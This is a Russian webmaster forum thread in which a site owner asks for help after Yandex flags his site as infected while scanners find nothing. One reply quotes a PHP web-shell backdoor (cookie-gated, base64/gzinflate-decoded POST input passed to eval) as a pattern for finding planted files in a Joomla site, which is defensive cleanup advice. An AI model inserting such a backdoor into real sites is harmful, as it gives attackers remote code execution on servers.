X   Сообщение сайта
(Сообщение закроется через 3 секунды)



 

Здравствуйте, гость ( Вход | Регистрация )

Открыть тему
Тема закрыта
> борьба с вирусом на сайте, нужна помощь
wel1989
wel1989
Topic Starter сообщение 6.5.2013, 17:04; Ответить: wel1989
Сообщение #1


Частый гость
**

Группа: User
Сообщений: 96
Регистрация: 2.1.2013
Поблагодарили: 1 раз
Репутация:   0  


Здравствуйте. Извините модераты, что возможно пишу не в ту ветку, переместите пожалуйста, если это не так.
Вопрос вот такой, не занимался сайтом в течении пару недель,(небыло времени), и тут захожу в яндекс вебмастер, и очень удевляюсь. Надпись на Вашем сайте обнаружен вирус.
Перепробовал все онлайн проверки сайта на вирусы, пишет все нормально.
И не знаю что дальше делать. Скачал сайт к себе на компьютер проверил антивирусом, но все чисто.
И теперь не могу понять, что мне дальше делать?
Помогите пожалоста вот адрес сайта pkzona.ru.
0
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
MeTaTRoN
MeTaTRoN
сообщение 6.5.2013, 17:07; Ответить: MeTaTRoN
Сообщение #2


Завсегдатай
*****

Группа: Active User
Сообщений: 511
Регистрация: 1.9.2008
Из: Таллинн Эстония
Поблагодарили: 63 раза
Репутация:   18  


Проверьте инородные iframe коды в сорцах.

На страницу заходить боюсь))


--------------------
Программист: PHP, JavaScript, HTML5, HTML5 canvas, CSS, AJAX, jquery, SQL.
Реклама на аниме сайте
Услуги программиста, тема на форуме
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Maxim-KL
Maxim-KL
сообщение 6.5.2013, 17:14; Ответить: Maxim-KL
Сообщение #3


MaximGroups.net
******

Группа: Banned
Сообщений: 1423
Регистрация: 24.9.2010
Из: localhost
Поблагодарили: 436 раз
Репутация:   122  


(wel1989 @ 6.5.2013, 16:04) *
проверил антивирусом

Каким антивирусом прогоняли?


--------------------
Забанен за мошенничество
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
wel1989
wel1989
Topic Starter сообщение 6.5.2013, 17:20; Ответить: wel1989
Сообщение #4


Частый гость
**

Группа: User
Сообщений: 96
Регистрация: 2.1.2013
Поблагодарили: 1 раз
Репутация:   0  


И тут выявил еще 1 интересный факт.
Закал повторное сканирование в вебмастере.
И тут все нормально стало, хотя ничего не менял.

[attachment=18527:_________.jpg]
Глюк вебмастера ?
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
hugo449
hugo449
сообщение 6.5.2013, 17:22; Ответить: hugo449
Сообщение #5


Частый гость
**

Группа: User
Сообщений: 92
Регистрация: 18.3.2009
Из: Москва
Поблагодарили: 34 раза
Репутация:   6  


Ищите Shell в файлах. У вас Joomla 1.5. Инородные файлы весят обычно 281 байт, 289 байт, 291 байт. Они выглядят по типу такого: 2f842n.php или movie.php и их может быть очень много, они могут лежать в самых отдаленных папках. Скачайте все файлы по фтп на комп, установите текстовый редактор типа EditPlus и запустите поиск по всем файлам на предмет наличия подобного кода
if(!empty($_COOKIE['__utma']) and substr($_COOKIE['__utma'],0,16)=='3469825000034634'){
if (!empty($_POST['msg']) and $msg=@gzinflate(@base64_decode(@str_replace(' ','',urldecode($_POST['msg']))))){
  echo '<textarea id=areatext>';
  eval($msg);
  echo '</textarea>bg';
  exit;
}}
?>

Разумеется, код может отличаться от этого, поэтому ищите по кускам этого кода. Все найденные файлы со странными названиями можете без сожаления удалить. Затем проверьте папку media/system/js. Там лежат файлы javascript. Скопируйте кусок вредоносного кода в поиск текстового редактора и ищите по всем javascript на сайте. Затем поменяйте пароли на FTP


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
wel1989
wel1989
Topic Starter сообщение 7.5.2013, 1:22; Ответить: wel1989
Сообщение #6


Частый гость
**

Группа: User
Сообщений: 96
Регистрация: 2.1.2013
Поблагодарили: 1 раз
Репутация:   0  


Проганял Доктор вебом.

MeTaTRoN, Проверьте инородные iframe коды в сорцах
А можно поподробнее про этот метод?
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
stu999
stu999
сообщение 7.5.2013, 8:58; Ответить: stu999
Сообщение #7


Участник
***

Группа: User
Сообщений: 193
Регистрация: 12.9.2008
Из: Россия, Москва
Поблагодарили: 18 раз
Репутация:   2  


доктор веб, 2ip и аларм говорят, что вирусов нет. напишите еще Платонам


--------------------
Сервис услуг бирж fl.ru и freelance.ru
https://uslugi.market
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Открыть тему
Тема закрыта
1 чел. читают эту тему (гостей: 1, скрытых пользователей: 0)
Пользователей: 0


Свернуть

> Похожие темы

  Тема Ответов Автор Просмотров Последний ответ
Открытая тема (нет новых ответов) 17 вещей на вашем сайте, которые ненавидят
Один из постулатов маркетинга — не раздражать людей
25 PostBrigada 3587 12.12.2017, 21:44
автор: alexandrrr
Открытая тема (нет новых ответов) Тема имеет прикрепленные файлыПрибыль с видео на сайте и в соц сетях
Как получить доп доход с нативного контента
14 maxim_krasovskiy 2813 12.12.2017, 12:05
автор: maxim_krasovskiy
Открытая тема (нет новых ответов) ALFAcoins.com - Приём криптовалюты на вашем сайте
17 ALFAcoins 3681 11.12.2017, 23:07
автор: ALFAcoins
Открытая тема (нет новых ответов) Как правильно сделать категории на сайте?
Хелппп!!!
5 norino 646 11.12.2017, 16:28
автор: One_on_One
Открытая тема (нет новых ответов) Размещу Вашу статью с ссылкой на сайте с Тиц 50 навсегда
11 vyacheslav333 1330 9.12.2017, 22:16
автор: Мамай


 



RSS Текстовая версия Сейчас: 14.12.2017, 1:07
Дизайн